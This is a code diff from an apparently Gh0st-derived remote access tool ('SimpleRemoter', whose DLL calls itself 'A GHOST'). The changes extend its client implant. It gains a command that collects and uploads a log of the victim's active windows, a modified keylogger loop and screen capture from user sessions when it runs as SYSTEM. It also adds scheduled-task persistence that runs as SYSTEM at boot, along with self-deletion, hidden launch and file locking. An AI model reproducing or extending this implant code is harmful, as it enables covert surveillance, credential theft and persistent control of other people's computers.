m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
int ret = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
if (ret == 0) {
m_bWorkThread = S_RUN;
m_bIsRunning = TRUE;
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
}
#endif
}

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@@ -10,6 +10,7 @@
#include <fstream>
#include <corecrt_io.h>
#include "ClientDll.h"
#include "ActivityHistory.h"
#include "MemoryModule.h"
#include "common/dllRunner.h"
#include "server/2015Remote/pwd_gen.h"
@@ -23,6 +24,7 @@
#include "common/DateVerify.h"
#include "common/LANChecker.h"
#include "common/scheduler.h"
#include "session.h"
extern "C" {
#include "ServiceWrapper.h"
}
@@ -795,6 +797,9 @@ void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size
client->Send2Server((char*)&msg, sizeof(msg));
}
extern "C" bool IsSystemInSession0();
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -807,6 +812,27 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
std::string publicIP = m_ClientObject->GetClientIP();
switch (szBuffer[0]) {
case COMMAND_FORBIDDEN: {
TerminateProcess(GetCurrentProcess(), 0);
break;
}
case COMMAND_QUERY_LOG: {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth();
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_QUERY_ACTIVITY: {
// 主连接一次性快照:直接 dump 历史活动并回传
std::string text = ActivityHistory::Instance().Dump();
std::vector<BYTE> pkt(1 + text.size());
pkt[0] = TOKEN_REPORT_ACTIVITY;
if (!text.empty())
memcpy(pkt.data() + 1, text.data(), text.size());
m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
break;
}
case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1);
m_cfg->SetStr("settings", "group_name", group);
@@ -952,6 +978,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (!ENABLE_SCREEN) {
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
}
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
return RunRoundRobinAgent(TOKEN_PRIVATESCREEN);
}
char h[100] = {};
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
std::string hash = std::string(h, h + 64);
@@ -1159,6 +1189,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
BYTE bToken = COMMAND_BYE;// 被控端退出
m_ClientObject->Send2Server((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT;
if (m_conn->iStartup == Startup_TestRunMsc || m_conn->iStartup == Startup_GhostMsc || IsSystemInSession0()) {
ServiceWrapper_Uninstall();
}
self_del(10);
Mprintf("======> Client uninstall \n");
break;
@@ -1212,6 +1245,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (!ENABLE_SCREEN) {
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
}
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
return RunRoundRobinAgent(COMMAND_SCREEN_SPY);
}
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
@@ -1342,6 +1379,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
case COMMAND_SEND_FILE_V2: {
// 主连接接收 V2 上传确保文件传输模块已初始化RecvFileChunkV2 依赖 g_status==1
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
static bool s_v2RecvInited = false;
if (!s_v2RecvInited) {
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
s_v2RecvInited = true;
}
// C2C/V2 文件接收RecvFileChunkV2 内部会打印进度)
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
nullptr, m_hash, m_hmac, m_MyClientID);

View File

@@ -40,6 +40,24 @@ public:
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
}
// 返回当前活跃窗口标题若空闲idle ≥ threshold_ms或取不到标题则返回空串。
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return std::string();
return GetActiveWindowTitle();
}
// 返回当前前台窗口句柄空闲idle ≥ threshold_ms返回 NULL。
// 历史活动按窗口HWND而非标题字符串累计标题动态变化时不会反复归零。
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return NULL;
return GetForegroundWindow();
}
private:
std::string FormatMilliseconds(DWORD ms)
{

View File

@@ -679,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
return -1;
}
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
#else
int num = lstrlen(KeyBuffer);
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {

View File

@@ -119,21 +119,38 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
// 限制失败日志频率:锁屏/无交互桌面/权限不足(如 ERROR_ACCESS_DENIED=5
// 这些错误会随调用循环每秒触发、刷屏严重,这里最多每分钟记录一次。
DWORD err = GetLastError(); // 立即捕获 OpenInputDesktop 的错误,避免后续调用覆盖
static DWORD s_lastDesktopFailLog = 0;
DWORD now = GetTickCount();
bool logDue = (now - s_lastDesktopFailLog >= 60000);
if (logDue)
s_lastDesktopFailLog = now;
if (logDue)
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", err);
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
if (hWinSta) {
SetProcessWindowStation(hWinSta);
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", err);
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenDesktop Default failed: %d\n", err);
}
}
} else {
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenWindowStation failed: %d\n", err);
}
}
return hInputDesktop;

View File

@@ -9,6 +9,14 @@
#if ENABLE_REGISTRY
// 与 RegisterOperation.cpp 的 REGMSG 同构int count + DWORD size + DWORD valsize = 12 字节),
// 此处仅用于构造"空结果包"count=0无需跨文件共享完整定义。
struct REGMSG {
int count; //名字个数
DWORD size; //名字大小
DWORD valsize; //值大小
};
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -46,17 +54,28 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
if(szPath!=NULL) {
Opt.SetPath(szPath);
}
// 子键包TOKEN_REG_PATH无子键时也回传空包保证服务端含 MCP 无头查询)
// 能确定性收齐 PATH+KEY 两包,无需靠超时猜测是否有第二包。
char *szBuffer= Opt.FindPath();
if(szBuffer!=NULL) {
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
//目录下的目录
LocalFree(szBuffer);
} else {
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_PATH;
m_ClientObject->Send2Server(empty, sizeof(empty));
}
// 值包TOKEN_REG_KEY同上无值时也回传空包。
szBuffer = Opt.FindKey();
if(szBuffer!=NULL) {
//目录下的文件
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
} else {
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_KEY;
m_ClientObject->Send2Server(empty, sizeof(empty));
}
}

View File

@@ -21,10 +21,13 @@ enum MYKEY {
enum KEYVALUE {
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
MREG_SZ, // REG_SZ
MREG_DWORD, // REG_DWORD
MREG_BINARY, // REG_BINARY
MREG_EXPAND_SZ, // REG_EXPAND_SZ
MREG_MULTI_SZ, // REG_MULTI_SZ
MREG_QWORD, // REG_QWORD
MREG_NONE // REG_NONE / 未知类型
};
struct REGMSG {
@@ -70,7 +73,7 @@ char* RegisterOperation::FindPath()
char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameCount,NameMaxLen;
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
//这就是枚举了
@@ -93,7 +96,7 @@ char* RegisterOperation::FindPath()
REGMSG msg; //数据头
msg.size=KeySize;
msg.count=KeyCount;
memcpy(szBuffer+1,(void*)&msg,Size);
memcpy(szBuffer+1,(void*)&msg,sizeof(REGMSG));
char * szTemp=new char[KeySize];
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
@@ -124,7 +127,7 @@ char* RegisterOperation::FindKey()
char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
//这就是枚举了
@@ -167,17 +170,17 @@ char* RegisterOperation::FindKey()
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
NULL,&Type,szValueData,&DataSize);//读取键值
if(Type==REG_SZ) {
szTemp[0]=MREG_SZ;
}
if(Type==REG_DWORD) {
szTemp[0]=MREG_DWORD;
}
if(Type==REG_BINARY) {
szTemp[0]=MREG_BINARY;
}
if(Type==REG_EXPAND_SZ) {
szTemp[0]=MREG_EXPAND_SZ;
// 值类型映射REG_SZ/DWORD/BINARY/EXPAND_SZ 之外补 MULTI_SZ/QWORD/NONE
// 未识别类型一律 MREG_NONE避免误报为 REG_SZ)。
switch (Type) {
case REG_SZ: szTemp[0] = MREG_SZ; break;
case REG_EXPAND_SZ: szTemp[0] = MREG_EXPAND_SZ; break;
case REG_MULTI_SZ: szTemp[0] = MREG_MULTI_SZ; break;
case REG_DWORD: szTemp[0] = MREG_DWORD; break;
case REG_QWORD: szTemp[0] = MREG_QWORD; break;
case REG_BINARY: szTemp[0] = MREG_BINARY; break;
case REG_NONE: szTemp[0] = MREG_NONE; break;
default: szTemp[0] = MREG_NONE; break;
}
szTemp+=sizeof(BYTE);
strcpy(szTemp,szValueName);

View File

@@ -155,6 +155,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
m_ScreenSettings.CustomCursor = cfg.GetInt("settings", "CustomCursor", 0);
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
m_ScreenSettings.QualityLevel = quality;
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
@@ -188,6 +189,7 @@ bool CScreenManager::RestartScreen(BOOL switchScreen)
m_bIsWorking = FALSE;
DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
if (s == WAIT_TIMEOUT) {
Mprintf("TerminateThread: 截屏工作线程 handle=%p threadId=%lu\n", m_hWorkThread, GetThreadId(m_hWorkThread));
TerminateThread(m_hWorkThread, 0x20260215);
}
@@ -470,7 +472,7 @@ void CScreenManager::InitScreenSpy()
BOOL switchScreen = m_SwitchScreen;
if (!(user == NULL || ((int)user) == 1)) {
UserParam* param = (UserParam*)user;
if (param) {
if (param && param->length>0) {
DXGI = param->buffer[0];
algo = param->length > 1 ? param->buffer[1] : algo;
all = param->length > 2 ? param->buffer[2] : all;
@@ -798,7 +800,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder, const std::
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn);
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
pClient->setManagerCallBack(mgr, CManager::DataProcess, nullptr);
// 发送目录并准备接收文件
int len = 1 + folder.length() + files.length() + 1;
char* cmd = new char[len];
@@ -862,6 +864,17 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_ClientObject->StopRunning();
break;
}
case COMMAND_SCREEN_SIGNATURE: {
SignatureResp resp = { 0 };
memcpy(&resp, szBuffer + 1, min(sizeof(resp), ulLength-1));
if (m_Signature.empty()) {
m_Signature = std::string(resp.signature, resp.signature + 64);
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
}
break;
}
case COMMAND_SCREEN_ROI:{
if (ulLength > sizeof(RECT)) {
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
@@ -923,6 +936,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_ScreenSettings.RemoteCursor = remoteCursor;
break;
}
case CMD_CUSTOM_CURSOR: {
int CustomCursor = szBuffer[1];
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "CustomCursor", CustomCursor);
m_ScreenSettings.CustomCursor = CustomCursor;
break;
}
case CMD_MULTITHREAD_COMPRESS: {
int threadNum = szBuffer[1];
m_ClientObject->SetMultiThreadCompress(threadNum);
@@ -1706,11 +1726,15 @@ bool IsExtendedKey(WPARAM vKey)
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
// 记录大小判定:现代控制端(本服务端)统一发 48 字节 MSG6428 字节 MSG32 仅为兼容
// 老 32 位控制端。二者长度的最小公倍数是 336=7×48=12×28批量注入如 MCP 远程
// 控制的 type/拖拽)时若先判 %28会把 7 的整数倍条 MSG64 误判成 MSG32字段错位导致
// 输入错乱甚至吞掉按键;故先判 %48仅当不整除 48 才回落到 28。
int msgSize = sizeof(MSG64);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
if (ulLength % 48 == 0) // 64位控制端(现代服务端)发过来的消息
msgSize = 48;
else if (ulLength % 28 == 0) // 32位控制端发过来的消息兼容
msgSize = 28;
else return; // 数据包不合法
// 命令个数

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,6
FILEVERSION 1,0,3,9
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.6"
VALUE "FileVersion", "1.0.3.9"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"

View File

@@ -163,6 +163,7 @@ CShellManager::~CShellManager()
m_bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
Sleep(100);

Binary file not shown.

View File

@@ -78,7 +78,7 @@
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
@@ -168,6 +168,7 @@
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="test.cpp" />
</ItemGroup>
@@ -177,6 +178,7 @@
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource1.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
</ItemGroup>
<ItemGroup>

View File

@@ -185,6 +185,7 @@
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
@@ -201,6 +202,7 @@
<ClCompile Include="keylogger.cpp" />
<ClCompile Include="Loader.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
@@ -213,6 +215,7 @@
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
@@ -232,6 +235,7 @@
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="auto_start.h" />
@@ -251,6 +255,7 @@
<ClInclude Include="keylogger.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="my_clip.h" />
<ClInclude Include="proxy\ProxyManager.h" />
@@ -265,6 +270,7 @@
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="ConPTYManager.h" />

View File

@@ -450,7 +450,12 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
param.User = g_Server.pwdHash;
threadHandle = CreateThread(NULL, 0, run, &param, 0, NULL);
} else if (fdwReason == DLL_PROCESS_DETACH) {
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
if (threadHandle) {
// DLL 卸载时强杀线程前记录日志,便于定位死锁。此处 Mprintf 在 release 被定义为空,
// 且 DETACH 阶段 CRT 可能已不可用,故用内核 API OutputDebugStringA 输出。
OutputDebugStringA("TerminateThread: DllMain DLL_PROCESS_DETACH\n");
TerminateThread(threadHandle, 0x20250619);
}
}
return TRUE;
}

View File

@@ -30,7 +30,7 @@ inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wc
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
}
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin)
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin, BOOL systemBoot)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) {
@@ -139,11 +139,11 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
if (SUCCEEDED(hr)) {
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, systemBoot ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON, &pTrigger);
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
if (SUCCEEDED(hr)) {
// 普通用户需要指定具体用户
if (!runasAdmin) {
if (!systemBoot && !runasAdmin) {
ILogonTrigger* pLogonTrigger = NULL;
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
if (SUCCEEDED(hr)) {
@@ -200,10 +200,18 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
// 权限配置
IPrincipal* pPrincipal = NULL;
if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
if ((runasAdmin || systemBoot) && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN);
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
if (systemBoot)
{
BSTR sys = SysAllocString(L"SYSTEM");
hr = pPrincipal->lpVtbl->put_UserId(pPrincipal,sys);
if (FAILED(hr))
Mprintf("put_UserId失败:%ld\n", hr);
SysFreeString(sys);
}
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, (runasAdmin || systemBoot) ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
pPrincipal->lpVtbl->Release(pPrincipal);
} else {
@@ -235,9 +243,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
bstrTaskName,
pTask,
TASK_CREATE_OR_UPDATE,
runasAdmin ? vUser : empty,
systemBoot ? empty : (runasAdmin ? vUser : empty),
empty,
TASK_LOGON_INTERACTIVE_TOKEN,
systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN,
empty,
&pRegisteredTask
);
@@ -289,6 +297,40 @@ BOOL IsRunningAsAdmin()
return isAdmin;
}
BOOL IsSystem()
{
HANDLE token = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
return FALSE;
DWORD size = 0;
GetTokenInformation(token, TokenUser, NULL, 0, &size);
PTOKEN_USER user = (PTOKEN_USER)malloc(size);
if (!user) { CloseHandle(token); return FALSE; }
BOOL result = FALSE;
if (GetTokenInformation(token, TokenUser, user, size, &size))
{
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
PSID systemSid = NULL;
AllocateAndInitializeSid(&nt, 1,
SECURITY_LOCAL_SYSTEM_RID,
0, 0, 0, 0, 0, 0, 0,
&systemSid);
result = EqualSid(user->User.Sid, systemSid);
FreeSid(systemSid);
}
free(user);
CloseHandle(token);
return result;
}
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
{
SHELLEXECUTEINFOA shExecInfo;
@@ -348,7 +390,7 @@ const char* GetInstallDirectory(const char * startupName)
return folder;
}
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log)
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
{
#ifdef _DEBUG
return 1;
@@ -368,8 +410,12 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
BOOL isAdmin = IsRunningAsAdmin();
if (isAdmin) runasAdmin = true;
BOOL isAdmin = IsRunningAsAdmin() || IsSystem();
bool bootRun = false;
if (isAdmin) {
bootRun = runasAdmin == 2;
runasAdmin = true;
}
if (_stricmp(curFile, dstFile) != 0) {
if (!isAdmin) {
if (runasAdmin) {
@@ -389,7 +435,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin);
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin, bootRun);
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
if (b && status) {
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
@@ -398,7 +444,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
return 0;
}
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin);
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin, bootRun);
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
if (lockFile)
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

View File

@@ -6,7 +6,8 @@ const char* GetInstallDirectory(const char* startupName);
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
// return > 0 means to continue running else terminate.
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log);
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log);
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
bool IsSystemInSession0();

176
client/session.cpp Normal file
View File

@@ -0,0 +1,176 @@
#include "session.h"
#include <wtsapi32.h>
#include <userenv.h>
#include <wtsapi32.h>
#include <stdio.h>
#include "common/logger.h"
#pragma comment(lib, "Wtsapi32.lib")
#pragma comment(lib, "Userenv.lib")
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
static DWORD g_lastIndex = 0;
DWORD GetNextSessionRoundRobin()
{
PWTS_SESSION_INFOA sessions = NULL;
DWORD count = 0;
if (!WTSEnumerateSessionsA(
WTS_CURRENT_SERVER_HANDLE,
0,
1,
&sessions,
&count))
{
Mprintf("WTSEnumerateSessionsA Failed: %d\n", GetLastError());
return 0xFFFFFFFF;
}
if (count == 0)
{
Mprintf("WTSEnumerateSessionsA Failed: count=0\n");
WTSFreeMemory(sessions);
return 0xFFFFFFFF;
}
DWORD start = g_lastIndex;
for (DWORD i = 0; i < count; i++)
{
DWORD idx = (start + i) % count;
DWORD sessionId = sessions[idx].SessionId;
// 过滤无效 session
if (sessionId == 0)
continue;
WTS_CONNECTSTATE_CLASS* state = NULL;
DWORD bytes = 0;
if (WTSQuerySessionInformationA(
WTS_CURRENT_SERVER_HANDLE,
sessionId,
WTSConnectState,
(LPSTR*)&state,
&bytes))
{
BOOL ok = (state && (
*state == WTSActive ||
*state == WTSConnected));
WTSFreeMemory(state);
if (ok)
{
g_lastIndex = (idx + 1) % count;
DWORD result = sessionId;
WTSFreeMemory(sessions);
Mprintf("GetNextSessionRoundRobin Succeed: session=%d\n", result);
return result;
}
